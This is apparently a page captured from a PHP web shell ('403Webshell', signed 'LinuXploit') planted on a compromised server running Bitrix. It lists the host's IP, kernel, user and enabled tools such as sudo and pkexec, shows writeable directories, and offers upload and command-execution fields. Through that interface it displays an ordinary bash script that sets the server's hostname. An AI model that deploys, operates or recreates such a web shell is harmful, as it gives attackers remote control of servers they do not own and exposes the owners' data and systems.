403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/menu/02_local/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/menu/02_local/01_configure_hostname.sh
#!/usr/bin/bash
#
PROGNAME=$(basename $0)
PROGPATH=$(dirname $0)
[[ -z $DEBUG ]] && DEBUG=0

. $PROGPATH/functions.sh || exit 1
logo=$(get_logo)

configure_hostname() {
    new_hostname="${1}"

    # test current hostname
    DEFAULT_NOTE="(N|y)"
    DEFAULT_ANSW="n"
    test_hostname $CURRENT_HOSTNAME 0 0
    if [[ $? -gt 0 ]]; then
        DEFAULT_NOTE="(Y|n)"
        DEFAULT_ANSW="y"
    fi
    print_message "$CH008 $DEFAULT_NOTE: " "" "" answer $DEFAULT_ANSW
    if [[ $(echo "$answer" | grep -wci 'y' ) -eq 0 ]]; then
        return 0
    fi

    # test if pool exist
    get_client_settings
    if [[ $IN_POOL -gt 0 ]]; then
        # change via ansible
        configure_hostname_pool $new_hostname $CURRENT_HOSTNAME
    else
        configure_hostname_local $new_hostname
    fi
}

sub_menu() {
    menu_00="$CH000"
    menu_01="$(get_text "$CH001" "$CURRENT_HOSTNAME")"

    menu_logo="$(get_text "$CH001" "$CURRENT_HOSTNAME")"

    MENU_SELECT=
    until [[ -n "$MENU_SELECT" ]]; do
        [[ $DEBUG -eq 0 ]] && clear
        echo -e "\t\t" $logo
        echo -e "\t\t" $menu_logo
        echo

        get_local_network $LINK_STATUS
        menu_list="$menu_01\n\t\t $menu_00"

        print_menu
        print_message "$CH002" '' '' MENU_SELECT

        case "$MENU_SELECT" in
            0) exit ;;
            *) configure_hostname "$MENU_SELECT" ;;
        esac
        MENU_SELECT=
    done
}

sub_menu

Youez - 2016 - github.com/yon3zu
LinuXploit